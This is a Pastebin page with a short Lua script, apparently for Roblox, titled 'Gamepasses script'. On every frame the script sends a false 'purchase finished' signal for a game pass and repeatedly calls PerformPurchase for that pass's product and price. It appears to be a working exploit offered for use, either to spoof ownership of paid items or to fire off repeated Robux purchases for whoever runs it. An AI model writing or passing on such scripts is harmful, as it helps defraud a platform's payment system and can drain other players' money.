Advertisement
ShadowDragons_YT

Gamepasses script

Apr 3rd, 2019
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.47 KB | None | 0 0
  1. local gamePassId = 4099309
  2. local market = game:GetService("MarketplaceService")
  3. local http = game:GetService("HttpService")
  4. local info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
  5. game:GetService("RunService").Stepped:connect(function()
  6.   market:SignalPromptGamePassPurchaseFinished(game:GetService("Players").LocalPlayer, gamePassId, true)
  7.   market:PerformPurchase(Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
  8. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement